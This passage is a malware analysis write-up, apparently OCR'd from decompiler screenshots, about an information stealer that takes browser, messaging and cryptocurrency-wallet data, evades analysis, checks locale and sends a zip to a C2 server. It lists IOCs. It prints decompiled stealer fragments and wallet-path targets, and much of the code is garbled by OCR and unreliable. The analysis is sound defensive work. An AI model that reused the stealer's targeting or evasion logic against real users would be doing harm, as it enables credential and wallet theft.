steal mozilla_data(dword_4321C8, BlackHawk_8);
steal mozilla data(dword_ 432434, Icelat 8);

steal mozilla data(dword 432228, KMeleon_8);
steal mozilla_data(dword_432388, Thunderbird_@);
return sub 41Cs78();

o e b e e

[ R B R, QN R

= O W e R =@

L O = I = T O L B s I I e R

L= R . SO, R N IV T S - I I e

N N Y
[

L k3=

Let’s get out from this function and rename it to steal_browser_data and go to the next
function
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Pseudocode-A
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When looking at the xrefs of the dwords we know that this function is stealing messaging
data so let’'s rename it to steal_messaging_data and go to the next function.

int sub_4iF338()

1

sub_41F248(dword_432493);
sub 41F248(dword 432583);
sub 41F248(dword 4325BC);
sub 41F248(dword 4328BC) ;
sub 41F248(dword_432218) ;
sub_41F248(dword_432653);
sub_41F248(dword_432644);
sub_41F248(dword 432184);
sub_41F248(dword_432428);
sub 41F248(dword 4326AC) ;
sub 41F248(dword 4322393);
sub_41F248(dword 4322D8);
sub 41F248(dword_432468) ;
sub_41F248(dword_432624);
sub_41F248(dword_432684);
sub_41F248(dword_432383),;
sub_41F248(dword_432638);
sub 41F248(dword 432524 ;
sub 41F246(dword 432148) ;
sub 41F248(dword 432584 ;
sub 41F248(dword_432588) ;
sub_41F248(dword_432643);
sub_41F248(dword_4325EC);

¥
¥
¥
¥
¥
¥
¥
r
¥
¥
¥
¥
¥
¥
¥
r
¥
¥
¥
¥
¥
¥

return sub 41F248(dword 432BA8);
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int _ cdecl sub 424F8@(int al)

i
memset (&unk_431F98, @, @xledu);
1strcatA_@_@(8unk_431F98, al);
sub_424E20(dword_43211C, dword_43211C, wal );
sub_4242@(dword_432688, dword_4326808, keystore_8);
sub_424E28(dword_43262@, dword_432618, default wallet_8);
sub_424E20(dword_432344, dword_432298, default_wallet_@8);
sub_424E28(dword_432194, dword_432328, default wallet_8);
sub_42420(dword_432144, dword_432144, exodus_conf_json_@);
sub_424E28(dword_432144, dword_432144, dword_432384);
sub_424E28(dword_432144, dword_432478, passphrase_json_@);
sub_424E28(dword_432144, dword_432478, seed_seco_8);
sub_424E28(dword_432144, dword_432478, info_seco_8);
sub_424E28(dword_432438, dword_432438, multidoge wallet @);

16| sub_424£28(dword_4326A4, dword_4326A4, wal_ );

L e - L ol o O
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17| sub_424E2@(dword 432638, dword_43263@, wal_ );
13| sub_424£28(dword_4323E@, dword_4323E@, wal_ );
19| sub 424E2@(dword 43269C, dword_43269C, wal_ );
22| sub_424£28(dword_43251@, dword_432518, wal_ );
21| sub_424E2@(dword 432484, dword_432484, wal_ );
22| sub_424£28(dword_432698, dword_432698, wal_ );
23| sub_424£28(dword_432518, dword_432518, wal_ );
' 24| sub_424E2@(dword_43234C, dword_43234C, wal_ );
25| sub_424E28(dword_432233, dword_432238, wal_ );
26| sub_424E28(dword_432414, dword_43216C, wal_ );
2 sub_424£2@(dword_43268C, dwerd_43268C, wal_ );
2 sub_424E38(dword_432654, dword_432654, wal_ );
29| sub_424E28(dword_432eC@, dword_4320C0, wal_ );
3@| sub 424E20(dword 4321AC, dword_4321AC, wal_ );
31| sub_424£28(dword_43253@, dword_432530, wal_ );
32| sub 424E28(dword 432388, dword_432388, wal_ );
33| sub_424£28(dword_43209C, dword_43289C, wal_ );
34| sub 424E28(dword 4328CC, dword_43286CC, wal_ );
35| sub_424£28(dword_43218@, dword_432180, wal_ );
36| return sub 424E20(dword_ 432388, dword_ 432138, dword_4321DC);

let’s look at the xrefs of the dwords.

239] dword_4321DC = (char *)strings_decrypt((int)"ch=="3;// *

245 dword_43211C = (int)strings_decrypt{(int)"Bo8huV3ECyyw2X8=");// \\Bitcoin\\

241| dword_432680 = (int)strings_decrypt{(int)"BoSmpEHCFiCr6H+Z");// \\Ethereum\\

242 dword_432620 = (int)strings_decrypt{(int)"Bo8mvEzEEDersA==");// \\Electrum

243| dword_432618 = (int)strings_decrypt({(int)"Bo8mvEzEEDerbsH+ZnIle2LKcyYzs™);// \\Electrumi\wallets\)\

244| dword_432344 = (int)strings_decrypt((int)"BoSmvEzEEDer6A6Ive8=");// \\Electrum-LTC

245| dword_432298 = (int)strings_decrypt((int)"BoSmvEzEEDer6ABIVEIUBKCILrzVYYZQSA==");// \\Electrum-LTC\\wallets\\
246| dword_432194 = (int)strings_decrypt((int)"BoSmvEzEEDex62CkmIQ=");// \\ElectronCash

247| dword 432328 = (int)strings decrypt{(int)"BoBmvEzEEDex&2CkmIRUGKCI1rzVYYZQSA==");// \\ElectronCash\\wallets\\

Yes it's stealing crypto wallets, I'll call it “steal _wallet_data”.

As | said before the malware create file with extension .zip and copy to it all the stolen data
and comunicate with the c2 server to send it.

Then it’s deleting all things that the malware did like downloaded DLLs and exit.
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112 vd = (char *)&v15[2449] + 3;
113 while ( *4++vd )

£
115 gmemcpy (w4, v5, ve - { DWORD)vS);

F
=
C

117| SetCurrentDirectoryd @ @(get_path_programdata);
1 if ( (unsigned int)(&vi4[strlen(vi4) + 1] - &v14[1]) > 4 )
sub_420138((unsigned _ int& *)vl4);

sub_41F54@8(path_programdata);
SetCurrentDirectoryf @ @(get_path_programdata);
dword_432788(path_programdata};
DeleteFileA @ @(sqlite3 d11);
DeleteFileA @ @(freebl3 dl1);
DeleteFileA @ @(mozglue d11};
DeleteFiled ® 8(msvcpl4e dll);
DeleteFiles ® @(nss3_dll);

B_a(
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DeleteFileA | softokn3_dll};
DeleteFileA @ 8(vcruntimeldd dl1);
sub_41A728(path_programdata);
v3e = -1;

return sub_4215C8(v27};

F
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W hd = 3000~ W

¥

00020408 sub_420BE0:-351 (4210DB)

Conclusion

So, we now have a big picture of what this malware does. First, there is a binary file that will
drop two files into the system, the first file is a dll and the second is our executable. The
executable is decoding and decrypting strings then it resolves API calls, then it compares the
computer default language id with (Uzbek, Azeri, Kazakh, Russian, Ukrainian, Belarusian)
language IDs to stop the execution if they are the same, then the malware see if it is being
analyzed or not. After that it download the necessary dll files then request pages to get the
configuration values for which data to collect. after that it steals browsers data, messages
and crypto wallets and put the data in a folder then compress the folder. After all of that it
sends the zip file and delete dll files.

I0Cs

Loader sha256: 5cd0759cle566b6e74ef3f29a49a34a08ded2dc44408fccd41b5a9845573a34c¢

First dropped binary:
OB19EF2CEF19EBB7ADO8511D5CD6DAF75BDAE79F5EBC8DF80D7F54D36BOB5E27

Second dropped binary:
FBOBO940OFFE27E744EEEAEF3D1A2805CE205668274BDABC3A30863B016AD47F27

C2: himarkh[.]xyz
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